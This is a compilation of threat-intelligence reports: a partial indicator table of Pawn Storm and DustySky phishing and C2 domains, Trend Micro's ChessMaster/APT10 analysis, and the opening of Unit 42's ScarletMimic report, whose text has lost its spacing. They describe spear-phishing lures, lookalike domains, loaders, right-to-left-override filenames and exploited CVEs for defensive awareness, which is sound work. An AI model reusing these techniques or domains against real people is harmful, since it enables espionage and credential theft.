[xxx].137  setting-mail.ru Pawn Storm Credential phishing against Russian domestic targets 131.72.
[xxx].104 tbmm.qov.web.tr Pawn Storm Credential phishing against Turkish government 185.82.
[xxx].88 cc-yahoo-inc.org Pawn Storm Credential phishing against US company 131.72.
[xxx].200 e-post.byegm.web.tr Pawn Storm Credential phishing against Turkish government Jan- 2016 185.117.
[xx].116 marktingvb.ml DustySky CC 131.72.
[xxx].200 mail.byegm.web.tr Pawn Storm Credential phishing against Turkish government Dec- 2015 131.72.
[xxx].189 mail.mofa.g0v.qa Pawn Storm Credential phishing against Qatari government 131.72.
[xxx].179 webmail-gov.me Pawn Storm Credential phishing against Montenegrin government 185.82.
[xxx].102 redirect2app.cf Pawn Storm US freemail phishing 131.72.
[xxx].165 -  Pawn Storm CC 131.72.
[xxx].129  -  DustySky Spear-phishing mails source Nov- 2015 185.45.
[xxx].227 -  unknown Spear-phishing mails source 131.72.
[xxx].129  -  DustySky Spear-phishing mails source 131.72.
[xxx].67 int-live.com Pawn Storm US freemail phishing 131.72.
[xxx].137 options-mail.ru Pawn Storm Credential phishing against Russian domestic targets 131.72.
[xxx].150 mycloud-mail.ru Pawn Storm Credential phishing against Russian domestic targets 131.72.
[xxx].162 mail.g0v.me Pawn Storm Credential phishing against Montenegrin government 185.45.
[xxx].238 mail-navy.ro Pawn Storm Credential phishing against Romanian government 185.82.
[xxx].217 iraqinews.info Pawn Storm Exploit used in targeted attacks 131.72.
[xxx].184 mail-justus.com.ua Pawn Storm Credential phishing against Ukrainian company 185.82.
[xxx].217 reuters-press.com Pawn Storm Exploit used in targeted attacks 185.82.
[xxx].102 help-yahoo-service.com Pawn Storm US freemail phishing Trend Micro  Looking Into a Cyber-Attack Facilitator in the Netherlands 5 Date IP address Domain Actor Description Oct- 2015 185.82.
[xxx].251 mail.kuwaitarmy.gov-kw.com Pawn Storm Credential phishing against Kuwaiti government 185.82.
[xxx].194 int-live.com Pawn Storm US freemail phishing 185.82.
[xxx].174 nato-news.com  Pawn Storm Exploit used in targeted attacks 131.72.
[xxx].196 webmail.mofa.qov.ae Pawn Storm Credential phishing against the UAE government 185.45.
[xxx].63 mailmil.ae Pawn Storm Credential phishing against the UAE government 131.72.
[xxx].9 mail.rsaf.qov.sa.com Pawn Storm Credential phishing against Saudi Arabian government Sep- 2015 131.72.
[xxx].33 -  Pawn Storm CC 185.106.
[xxx].75 mail.teiecomitalia.it Pawn Storm Italian freemail phishing 185.82.
[xxx].246 - Pawn Storm Credential phishing against MH17 investigation team 185.82.
[xxx].194 live-settings.com Pawn Storm US freemail phishing 131.72.
[xxx].131 military-info.eu Pawn Storm Exploit used in targeted attacks Aug- 2015 185.82.
[xxx].174 electronicfrontierfoundation.org Pawn Storm Exploit used in targeted attacks 185.82.
[xxx].174 osce-press.com Pawn Storm Exploit used in targeted attacks 185.82.
[xxx].11 electronicfrontierfoundation.org Pawn Storm Exploit used in targeted attacks 185.45.
[xxx].125 grab2d.com unknown Credential phishing against the UAE government 185.82.
[xxx].159 bit2ly.com Pawn Storm Credential phishing against US company 185.82.
[xxx].194 blu172maillive.com Pawn Storm US freemail phishing 185.106.
[xxx].220 mobile-sanoma.net Pawn Storm Credential phishing against Finnish company Jul- 2015 185.45.
[xxx].125 grab2d.com unknown US freemail phishing 185.106.
[xxx].208 euroreport24.com Pawn Storm Exploit used in targeted attacks 185.82.
[xxx].110 service-ukr.net Pawn Storm Ukrainian freemail phishing 185.82.
[xxx].102 edit-mail-yahoo.com  Pawn Storm US freemail phishing 131.72.
[xxx].204 accounts-updated- confirmation.com unknown Credential phishing against the UAE government Trend Micro  Looking Into a Cyber-Attack Facilitator in the Netherlands 6 Date IP address Domain Actor Description 131.72.
[xxx].41 pasport-yandex.ru Pawn Storm Credential phishing against Russian domestic targets 131.72.
[xxx].41 rn-mail.ru Pawn Storm Credential phishing against Russian domestic targets 131.72.
[xxx].10 eservicesystems.net Pawn Storm CC 185.45.
[xxx].69 defensenews.org Pawn Storm Exploit used in targeted attacks 185.45.
[xxx].69 aijazeera.org Pawn Storm Exploit used in targeted attacks Jun- 2015 185.45.
[xxx].33 service-yahoo.com Pawn Storm US freemail phishing 131.72.
[xxx].33 itunes-helper.net Pawn Storm CC 185.45.
[xxx].175 unbulletin.com Pawn Storm Exploit used in targeted attacks May- 2015 185.45.
[xxx].175 mfagreece.com Pawn Storm Exploit used in targeted attacks 185.45.
[xxx].175 osce-info.com Pawn Storm Exploit used in targeted attacks 131.72.
[xxx].245 -  Pawn Storm Spear-phishing mails source 185.45.
[xxx].33 privacy-yahooservice.com Pawn Storm US freemail phishing 131.72.
[xxx].185 webmail-mil.gr Pawn Storm Credential phishing against Greek government Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information.
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Trend Micro July 27, 2017 ChessMaster Makes its Move: A Look into the Campaigns Cyberespionage Arsenal blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/ by Benson Sy, CH Lei, and Kawabata Kohei From gathering intelligence, using the right social engineering lures, and exploiting vulnerabilities to laterally moving within the network, targeted attacks have multifarious tools at their disposal.
And like in a game of chess, they are the set pieces that make up their modus operandi.
Take for instance the self-named ChessMaster, a campaign targeting Japanese academe, technology enterprises, media outfits, managed service providers, and government agencies.
It employs various poisoned pawns in the form of malware-laden spear-phishing emails containing decoy documents.
And beyond ChessMasters endgame and pawns, we also found red flags that allude to its links to APT 10, also known as menuPass, POTASSIUM, Stone Panda, Red Apollo, and CVNX.
ChessMasters name is from pieces of chess/checkers/draughts we found in the resource section of the main backdoor they use against their targets: ChChes, which Trend Micro detects as BKDR_CHCHES.
What makes the campaign unique is its arsenal of tools and techniques: Malicious shortcut (LNK) files and PowerShell.
The LNK files execute Command Prompt that downloads a PowerShell script, which would either directly drop or reflectively load ChChes into the machine.
The latter method makes ChChes a fileless malware.
Self-extracting archive (SFX).
An archive that drops an executable (EXE), a dynamic- link library (DLL), and a binary file (.BIN).
Upon their extraction, malicious code is injected into the process of a legitimate file/application (DLL hijacking).
ChessMaster takes it up a notch via load-time dynamic linking to trigger the malicious DLLs function.
Runtime packers.
Throughout its campaign, ChChes used three packers to obfuscate itself and avoid detection.
The first had no encryption and a varied loader code.
The second had a buggy (or anti-emulation) exclusive OR (XOR) encryption technique.
The third added an AES algorithm on top of XOR encryption.
Their compile dates overlap, which indicates ChChes authors take cues and fine-tune their malware.
Second-stage payloads.
Additional malware are introduced to the infected system for persistence.
These are actually variants of ChChes that use similar entry points but different and encrypted CC communication.
1/5 https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/ http://blog.trendmicro.com/trendlabs-security-intelligence/rising-trend-attackers-using-lnk-files-download-malware/ https://www.trendmicro.com/vinfo/us/security/news/security-technology/security-101-the-rise-of-fileless-threats-that-abuse-powershell https://msdn.microsoft.com/en-us/library/windows/desktop/ms684184(vvs.85).aspx http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/07/chessmaster-apt10-cyberespionage-1.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/07/chessmaster-apt10-cyberespionage-2.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/07/Figure-3-ChessMaster.jpg Hacking Tools.
ChessMaster draws on legitimate email and browser password recovery and dumping tools theyve misused and modified for their campaign.
These can restore forgotten passwords, which are then dumped and retrieved.
Lateral movement and further attacks can be worked out from here.
TinyX.
A version of PlugX sans the plug-in functionality that allows it to adopt new capabilities.
TinyX is bundled separately in spear-phishing emails.
RedLeaves.
A second-stage backdoor that operates like the open-source and fileless remote access Trojan (RAT) Trochilus, which is known for enabling lateral movement in the infected systems.
RedLeaves adopted capabilities from PlugX.
In April, a RedLeaves variant named himawari (Japanese for sunflower) emerged capable of evading YARA rules released during that time.
ChessMaster and APT 10 Plays the Same Cyberespionage Game APT 10/menuPass is a cyberespionage group whose specific campaign, Operation Cloud Hopper, attacked the intermediaries of their targets of interestmanaged service providers (MSPs).
Its notoriety stems from their prolific use of multifarious information-stealing backdoors and vulnerability exploits, along with the tenacity of its subterfuges, from spear-phishing emails to attack and infection chains.
It also abused legitimate or open-source remote administration tools to steal data.
If that sounded familiar, its because ChessMaster and APT 10 appear to be playing the same cyberespionage game.
Heres a further illustration: 2/5 http://blog.trendmicro.com/trendlabs-security-intelligence/plugx-new-tool-for-a-not-so-new-campaign/ http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html https://www.cyber.nj.gov/threat-profiles/trojan-variants/trochilus https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-cloud-hopper-what-you-need-to-know Figure 1: Similarities in ChessMaster and APT 10s attack chain We first saw ChChes set its sights on an organization thats long been a target of APT 10/menuPass.
As we caught and delved into more ChChes samples in the wild, however, we also saw how they followed the same patternexclusive packers, mutual targets, overlapping CC infrastructure.
ChChes packer, for instance, resembled the one used in menuPass old PlugX samples.
DNS records also showed that some of their command and control (CC) servers and domains resolved to the same IP address, or resided in the same subnet.
Are they operated by the same actors?
Their commonalities make it appear so.
Its also known to happen BlackTechs cyberespionage campaigns are a case in point.
Figure 2: Comparison of Emdivi and ChChes ChessMasters ChChes also resembles another backdoor, Emdivi, which first made waves in 2014.
They have the same endgame.
Both are second-stage payloads that use the systems Security Identifier (SID) as encryption key so they execute only in their targets machine.
Their difference lies in complexityChChes hides part of the decryption key and payload in registry keys to make it harder to reverse engineer.
But thats just one dot in several weve connected.
In one instance, we detected PlugX and Emdivi on the same machine.
This PlugX variant connected to an APT 10/menuPass-owned domain, but the packer is similar to that used by ChChes.
While its possible it was hit by two different campaigns, further analysis told a different story.
Both were compiled on the same date, only several hours apart.
We detected and acquired the samples the next day, which means both backdoors were delivered to the victim a day after they were compiled.
3/5 http://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/ http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/ Figure 3: Overview of the overlaps in ChessMaster and APT 10s campaigns Take Control of the Center Ultimately attacks like ChessMasters make pawns out of the systems, networks, devices and their users, all of which hold the organizations crown jewels.
This is why enterprises need to be steps ahead of the game: prepare, respond, restore, and learn.
Plan aheadwhat techniques will attackers use?
How can I defend against them?
Dont just pull the plug understand what happened to better assess and mitigate the damage.
Fine-tune your responsewhat worked, what didnt, and what couldve been done better?
Defense in depth plays a crucial role especially for the IT/system administrators and information security professionals that watch over them.
The network, endpoints, servers, mobile devices, and web/email gateways are the bishops, knights, and rooks that underpin the enterprises crown jewels, which is why securing them is important.
Reduce their attack surface.
Keep the systems updated and regularly patched, and enforce the principle of least privilege.
Employ behavior monitoring and application control.
Deploy firewalls as well intrusion detection and prevention systems.
Implement URL categorization, network segmentation, and data categorization.
ChessMasters gambit is spear-phishing, so its especially important to filter and safeguard the email gateway.
Additionally, foster a cybersecurity-aware workforce.
Seemingly benign icons or decoy documents can still swindle the victim, for instance.
More importantly, develop proactive incident response and remediation strategiesthreat intelligence helps enterprises prepare and mitigate attacks.
Like in chess, the more you understand your enemys moves, the more successful you can be at thwarting them.
The Indicators of Compromise (IoCs) related to ChessMasters campaigns is in this appendix.
4/5 http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/network-protection http://www.trendmicro.com/us/enterprise/product-security/vulnerability-protection/ http://www.trendmicro.com/us/enterprise/cloud-solutions/deep-security/software/ https://www.trendmicro.com/en_us/business/products/user-protection/sps/mobile.html http://www.trendmicro.com/us/business/complete-user-protection/index.html https://www.trendmicro.com/en_us/business/products/user-protection/sps/endpoint/endpoint-application-control.html https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/protecting-data-through-network-segmentation http://blog.trendmicro.com/trendlabs-security-intelligence/identifying-and-dividing-networks-and-users/ https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/infosec-guide-email-threats https://documents.trendmicro.com/assets/Appendix-ChessMaster-Makes-its-Move-A-Look-into-the-Campaigns-Cyberespionage-Arsenal.pdf This has been presented in the RSA Conference 2017 Asia Pacific  Japan as ChessMaster: A New Campaign Targeting Japan Using the New ChChes Backdoor on July 27, 2017, in Marina Bay Sands, Singapore.
Updated on August 14, 2017, 11:50 PM to include IoCs related to ChessMaster.
5/5 https://www.rsaconference.com/events/ap17 https://www.rsaconference.com/videos/quick-look-chessmaster-a-new-campaign-targeting-japan-using-the-new-chches-backdoor ChessMaster Makes its Move: A Look into the Campaigns Cyberespionage Arsenal
08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 1/28 ScarletMimic:YearsLongEspionageCampaign TargetsMinorityActivistsPaloAltoNetworksBlog postedby:RobertFalconeandJenMillerOsbornonJanuary24,20165:00PM ExecutiveSummary Overthepastsevenmonths,Unit42hasbeeninvestigatingaseriesofattacksweattributetoa groupwehavecodenamedScarletMimic.
Theattacksbeganoverfouryearsagoandtheir targetingpatternsuggeststhatthisadversarysprimarymissionistogatherinformationabout minorityrightsactivists.
Wedonothaveevidencedirectlylinkingtheseattackstoagovernment source,buttheinformationderivedfromtheseactivitiessupportsanassessmentthatagroupor groupswithmotivationssimilartothestatedpositionoftheChinesegovernmentinrelationtothese targetsisinvolved.
Thegoalofthisreportistoexposethetools,tacticsandinfrastructuredeployedbyScarletMimicin ordertoincreaseawarenessofthisthreatanddecreaseitsoperationalsuccessthroughdeployment ofpreventionanddetectioncountermeasures.
Fromourvantagepoint,wearenotabletoidentify whichattackshavebeensuccessfulagainstwhichorganizations.
ButthefactthatthetoolsScarlet Mimicdeployshavebeenunderdevelopmentforyearssuggestsanactiveadversarythathasbeen successfulinsomepercentageofitsoperations.
Basedonouranalysis,wearealsoseeingScarlet MimicstarttoexpanditsespionageeffortsfromPCstomobiledevices,markinganevolution initstactics.
Individualsandgroupsofalldifferenttypesmaybecomethetargetofcyberespionagecampaigns.
Themostwellknownvictimsofcyberespionagearetypicallygovernmentorganizationsorhightech companies,butitsimportanttorecognizethatespionagefocusedadversariesaretaskedtocollect informationfrommanysources.
TheattacksweattributetoScarletMimichaveprimarilytargetedUyghurandTibetanactivistsaswell asthosewhoareinterestedintheircauses.
BoththeTibetancommunityandtheUyghurs,aTurkic MuslimminorityresidingprimarilyinnorthwestChina,havebeentargetsofmultiplesophisticated attacksinthepastdecade.
Bothalsohavehistoryofstrainedrelationshipswiththegovernmentof thePeoplesRepublicofChina(PRC),thoughwedonothaveevidencethatlinksScarletMimic attackstothePRC.
ScarletMimicattackshavealsobeenidentifiedagainstgovernmentorganizationsinRussiaand India,whoareresponsiblefortrackingactivistandterroristactivities.
Whilewedonotknowthe precisetargetofeachoftheScarletMimicattacks,manyofthemaligntothepatternsdescribed above.
TheScarletMimicattacksprimarilycenteraroundtheuseofaWindowsbackdoornamedFakeM.It http://researchcenter.paloaltonetworks.com/author/robert-falcone/ http://researchcenter.paloaltonetworks.com/author/jen-miller-osborn/ 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 2/28 wasfirstdescribedbyTrendMicroin2013andwasnamedFakeMbecauseitsprimarycommand andcontroltrafficmimickedWindowsMessengerandYahooMessengernetworktraffictoevade detection.
WehaveidentifiedtwosubsequentvariantsoftheFakeMfamily,whichhasundergone significantchangessinceitwasexposedin2013.Wehavealsoidentifiedninedistinctloader malwarefamilies,whichScarletMimicappearstousetoavoiddetectionwheninfectingasystem.
InadditiontotheFakeMvariants,ScarletMimichasdeployedTrojansthattargettheMacOSXand Androidoperatingsystems.
WehavelinkedtheseattackstoScarletMimicthroughanalysisoftheir commandandcontrol(C2)infrastructure.
Toinfectindividualswithaccesstothedatatheactorsdesire,ScarletMimicdeploysbothspear phishingandwateringhole(strategicwebcompromise)attacks.
Usingthesetacticstheycandirectly targetpreviouslyidentifiedindividuals(spearphishing)aswellasunidentifiedindividualswhoare interestedinaspecificsubject(wateringhole).Intheirspearphishingattacks,ScarletMimichas exploitedfiveseparatevulnerabilities.
However,inmanycasestheychosetoforgoexploitinga softwarevulnerabilityandusedselfextracting(SFX)RARarchivesthatusetheRighttoLeftOverride charactertomaskthetruefileextension,trickingvictimsintoopeningexecutablefiles.
Aswithmanyotherattackerswhousespearphishingtoinfectvictims,ScarletMimicmakesheavy useofdecoyfiles.
Thesearelegitimatedocumentsthatcontaincontentrelevanttothesubjectof thespearphishingemail.
Afterthesystemisinfected,themalwaredisplaysthedecoydocumentto tricktheuserintobelievingnothingharmfulhasoccurred.
Thesedecoydocumentsallowusto identifythethemeofthespearphishingemailandinsomecasesthetargetoftheattack.
ThemostrecentScarletMimicattackswehaveidentifiedwereconductedin2015andsuggestthe grouphasasignificantinterestinbothMuslimactivistsandthoseinterestedincritiquesofthe RussiangovernmentandRussianPresidentVladimirPutin.
Basedontheirprevioustargetswe suspecttheseindividualsmaybetargetedbasedontheinformationtheypossesonactivistgroups.
TheprimarysourceofdatausedinthisanalysisisPaloAltoNetworksWildFire,whichanalyzes malwareusedinattacksacrosstheworld.
Thesystemalsoanalyzesmalwaresamplescollected throughasharingpartnershipwithothersecurityvendors,includingourpartnersintheCyberThreat Alliance.
Toconnectattackstoeachotherbasedonmalwarebehaviorandcommandandcontrol infrastructure,wereliedonAutoFocusthreatintelligence.
AutoFocususerscanviewallofthefiles relatedtoScarletMimicandthemalwareassociatedwiththegroupusingthefollowinglinks: Introduction Thebetterwecanunderstandthethreatstoournetworksandsystems,themoreeffectivewewillbe atpreventingthosethreats.
Thegoalofthisreportistohelpnetworkdefendersbetterunderstand attacksfromagroupwehavenamedScarletMimic.
Thisgrouphasbeenconductingattacksforat leastfouryearsusingabackdoorTrojanthathasbeenunderactivedevelopment.
Thegroup primarilydeploysspearphishingemailstoinfectitstargets,butwasalsoresponsibleforawatering hole(strategicwebcompromise)attackin2013.
https://www.paloaltonetworks.com/products/technologies/wildfire.html http://cyberthreatalliance.org/ https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 3/28 Attacksfromthisgrouphavebeenreportedpubliclyinthepast,butmostlyasdisparate,unconnected incidents.
Basedonanalysisofthedataandmalwaresampleswehavecollected,Unit42believes theattacksdescribedhereinaretheworkofagrouporsetofcooperatinggroupswhohaveasingle mission,collectinginformationonminoritygroupswhoresideinandaroundnorthwesternChina.
In thepast,ScarletMimichasprimarilytargetedindividualswhobelongtotheseminoritygroupsaswell astheirsupporters,butweverecentlyfoundevidencetoindicatethegroupalsotargetsindividuals workinginsidegovernmentantiterroristorganizations.
Wesuspectthesetargetsareselectedbased ontheiraccesstoinformationaboutthetargetedminoritygroups.
Inthefollowingsectionswewilldescribeselectedattackswehaveidentifiedandwhotheirlikely targetsare.
Wewillalsoprovidedetailedanalysisofthelatestvariantsofthemalwaretheydeploy (knownasFakeM)aswellasotherassociatedtoolsthatallowScarletMimictotargetAndroidand OSXdevices.
Attackslaunchedbythisgroupwerepubliclyexposedon2013inaTrendMicroreportaboutthe FakeMTrojan.
Sincethatreportsrelease,ScarletMimichasdeployedtwoadditionalversionsofthe malware.
TheyhavealsodeployednineseparateloaderTrojanstheyusetoinfectsystemswith theirbackdoor.
AttackDetails ThemajorityofattacksweassociatewithScarletMimicfollowthepatternshowninFigure1.
Figure1:SpearPhishingwithDecoyAttackPatternDeployedbyScarletMimic Theattackersendsaspearphishingemailwithasubjectandbodycontentthatappealtothe targeteduser.
Thisemailcarriesanattachment,whichistypicallyadocumentthatexploitsa MicrosoftOfficevulnerability.
Theattachmentusesafilenamethatisrelatedtotheemailcontentto tricktheuserintoopeningit.
Iftheuseropensthefileandtheexploitationissuccessful,abackdoor Trojanisinstalledonthesystemthatgivestheattackeraccessandadecoydocumentisdisplayedto 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 4/28 thevictim.
Decoydocumentsaretypicallynonmaliciousversionsofthecontenttheuserexpectedto seewhenopeningtheattachment.
Manyofthetargetsandspoofedorcompromisedsendingemailaddresseshavecontactinformation ontheInternet.
Theapparentsenderemailusuallyappearstobesomeoneassociatedwiththe accompanyingtext,whenappropriate,whilethetargetemailsareusuallyalsoavailableonlinetiedto targetorganizations.
Asmallsubsetofthedecoyscouldnotbefoundonlineandmaybefrom previouscompromisesbyScarletMimic.
Manyattackersdeploythisparticularpattern,asitisoftensuccessfulatinfectingauserwithout alertingtheuseroftheinfection.
Thisistheexactsamepattern,forexample,deployedbythe attackersinOperationLotusBlossom.
WehaveidentifiedspearphishingdocumentsfromScarletMimicexploitingthefollowing vulnerabilities.
CVE20120158 CVE20103333 CVE20102883 CVE20102572 CVE20093129 WealsoknowScarletMimicusesanumberoftoolkitstocreatedocumentsthatcontainexploitcode toinstalltheFakeMpayloadonacompromisedsystem.
Unit42tracksthetoolkitsdeliveringFakeM underthenamesMNKit,WingDandTranDuyLinh.
Thesekitsappeartobeusedbymanyattack groups,andtheyalonearenotagoodindicationofScarletMimicactivity.
Additionally,inmanycasesthesethreatactorsdidnotuseanexploitdocumentatall,rathertheysent selfextracting(SFX)RARarchivesthatusetheRighttoLeftOverridecharactertomaskthetruefile extension.
Forexample,thefollowingtwofilenamesofSFXarchivesusedtodeliverFakeMcontain theRLOcharacter(bolded): UpdateaboutthestatusofTenzinDelekRinpocheashesE280AEcod.scr tepsiliymezmun.\xe2\x80\xaetxt.scr Evenwhennosoftwarevulnerabilityisexploited,theattacksstilltypicallyincludeadecoydocument.
ThecontentofmostofthedecoydocumentsappeartobeavailableontheopenInternet,andthe attackerstypicallymadesmallmodificationstothem.
Manyofthetargetsandspoofedorcompromisedsendingaccountshavecontactinformationonthe Internet.
Theapparentsenderemailusuallyappearstobesomeoneassociatedwiththe accompanyingtext,whenappropriate,whilethetargetemailsareusuallyalsoavailableonlinetiedto targetorganizations.
Asmallsubsetofthedecoyscouldnotbefoundonlineandmaybefrom previouscompromisesbyScarletMimic.
TheoverarchingdecoythemeswereUyghurrelated,anti Putin,orAlQaedarelated.
Thedecoysareoftencopiedfromthinktanksorreputablenewssources http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ http://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/ 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 5/28 thetargetswouldlikelyfrequent.
Inoneinstance,thethreatactorsusedcontentfromaNewYorkTimesarticle(Figure2)onthesame dayitwaspublished.
Figure2:DecoyTextExtractedfromtheNewYorkTimesarticle Figure3showsoneofthemorecommonthemesusedtotargetUyghursandthoseinterestedin theircause.
MultipleattacksusedpressreleasesorothercontentrelatedtotheWorldUyghur Congress.
Figure3:DecoyusingWorldUyghurCongressPressRelease InJulyof2015,weidentifiedafullemailuploadedtoanantivirusscanningservicethatcarrieda ScarletMimicexploitdocument.
Inthiscase(Figure4)therecipientoftheemailwasanindividual workingfortheRussianFederalSecurityService(fsb.ru).Theemailbodyrequestshelpdealingwith threateningphonecallsfromaninternationalgang.
http://www.nytimes.com/2015/07/22/world/asia/chinese-police-are-said-to-seize-ashes-of-tibetan-monk-tenzin-delek-rinpoche.html?_r0 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 6/28 Figure4:PhishingEmailsendtoFSBEmailAddress Anotherattack,senttoanunknowntargetcarriedadecoyimage(Figure5)thatcomparedRussian PresidentVladimirPutintoAdolfHitler.
Figure5:AntiPutinimageusedasadecoydocument Inyetanothercase,thethreatactorsusedaconferencenotificationfromoneorganization(Figure 6a)andmodifiedittoappearasthoughtitwasforanIslamicCountryMuslimReligionConference 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 7/28 (Figure6b).Thisdocumentwasparticularlypoorlyaltered,astheregistrationformstillcontained multiplehintstoindicatethedocumentwasfraudulent(Figure6c).
Figure6a:OriginaldocumentusedasaPsylodecoy Figure6b:Modifiedheaderandcontactemailinthedecoy Figure6c:Bottomofthedecoydocumentwithreplacedemailandnonaltereddateaquicksearch onlineshowsthistobefraudulent Intotalwehavecollectedover40individualdecoydocumentsusedintheseattacks,farmorethan wecandetailhere.
WeareawareofonecasewhereScarletMimicbrokefromthespearphishingpatterndescribed above.
In2013,thegroupdeployedawateringholeattack,alsoknownasastrategicweb compromisetoinfectvictimswiththeirbackdoor.
Thewateringholeisanattackvectorthatinvolves compromisingawebsitethattargetedvictimsarelikelytovisitinordertoinfectandgainaccessto theirsystems.
AccordingtoablogbyWebsense,threatactorscompromisedtheTibetanAllianceof ChicagoswebsitetohostmaliciouscodethatexploitedavulnerabilityinInternetExplorer(CVE 20124969.
)MicrosoftpatchedthisvulnerabilityinSeptember2012,suggestingthatthiswatering holeattackusedanoldervulnerability,whichalignswiththethreatgroupscontinueduseofolder vulnerabilitiesintheirspearphishingefforts.
http://community.websense.com/blogs/securitylabs/archive/2013/08/16/tibetan-compromise.aspx 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 8/28 MalwareOverview FirstdiscussedinJanuary2013inaTrendMicrowhitepaper,FakeMisaTrojanthatusesseparate modulestoperformitsfunctionality.
FakeMsfunctionalcodeisshellcodebasedandrequiresanother Trojantoloaditintomemoryandexecuteit.
ThereareavarietyofdifferentTrojansusedtoload FakeM,someofwhicharemoreinterestingthanothers.
Inthissection,wewillexploretheloader TrojansfollowedbyananalysisoftheevolutionofFakeMitself.
Weendthissectionwithadiscussion ontoolsrelatedtoFakeMandusedbyScarletMimic.
LoaderTrojans FakeMisshellcodebasedandthereforerequiresanotherTrojantoloadFakeMintomemoryand executeitsfunctionalcode.
ThreatactorshavedevelopedmanydifferentloadingTrojanstoload FakeM,someofwhicharefairlystraightforwardwhileothersuseveryclevertechniquestoavoid detection.
Unit42tracksthefollowinglistofloaderTrojansthatScarletMimichasusedtoexecute FakeM: CrypticConvo SkiBoot RaidBase FakeHighFive PiggyBack FullThrottle FakeFish BrutishCommand SubtractThis ItappearsthatthethreatactorsincludetheloaderTrojansinsomesortofbuilderapplicationthat allowsactorstoquicklycreate,configureanddeploypayloadstoexecuteFakeM.Webelievethis becausemanysamplesthatexecuteFakeMhavethesameexactcompilationtimebutdifferentC2 servers,asseenintheexampleinTable1.Thissuggeststheactorscompileasinglesampleanduse abuildertooltoconfigureindividualsamplesondemand.
WeusedtheloaderTrojanstoprovideageneraltimelineforthedevelopmentofFakeMsamples,as FakeMisshellcodebasedanddoesnotcontainanyusabletimestamps.
Thetimestampsinthe loaderTrojansdoesnotnecessarilycorrespondtotheusageofFakeM,butplottingthecompile timesoftheloadersonatimelineshowsaninterestingtrend.
ThescatterplottimelineinFigure7 showstheknowncompilationtimesoftheloaderTrojansandtheFakeMvariantthatitexecuted.
SHA256 Compiled Loader Trojan C2Domains 5182dc8667432d76a 276dc4f864cdfcef3e4 201309 opero.spdns[.
]org, http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 9/28 81783ebaf46d3b139 7080b798f4a 13 08:02:58 CrypticConvo firefox.spdns[.
]de 5dade00db195087aa 336ce190b5fd1c2299 2c49556c623b42a9f7 42d73241a7f 201309 13 08:02:58 CrypticConvo intersecurity.firewall gateway[.
]com Table1:TwosamplessharingacompiletimeyetcontaindifferentC2domainsintheirconfigurations Figure7:TimelineofcompilationofloaderTrojansassociatedwithFakeM Basedonthetimeline,itappearsthattheactorswereactivelydevelopingseveraloftheloadersat thesametimefrom2009untiltheearlymonthsof2014.Afterthefirstquarterof2014,itappearsthat theactorsabandoneddevelopmentoftheolderloadersinfavorofFakeFish,BrutishCommandand SubtractThis.
Thisdoesnotmeanthatactorswillnotcontinuetousetheolderloaders,butitdoes suggestthattheactorswillcontinueincludingthenewerorfreshlydevelopedloadersinupdated builderapplications.
ThetimelinealsopresentsthepossibilitythattheFakeMdevelopersreactedtothereleaseofTrend MicrosFakeMblogandwhitepaper.
TrendMicropublishedtheiranalysisoftheFakeMTrojanon January17,2013(markedinFigure7byaredline)thatdiscussedtheoriginalvariantofFakeM.
Shortlyafter,theoriginalvariantofFakeMdropsoffthetimelineinfavoroftheSSLandCustomSSL variants.
ItispossiblethattheFakeMdeveloperssawtheirtoolwasexposedandadaptedittoavoid detectionforcontinueduseasapayloadinattacks.
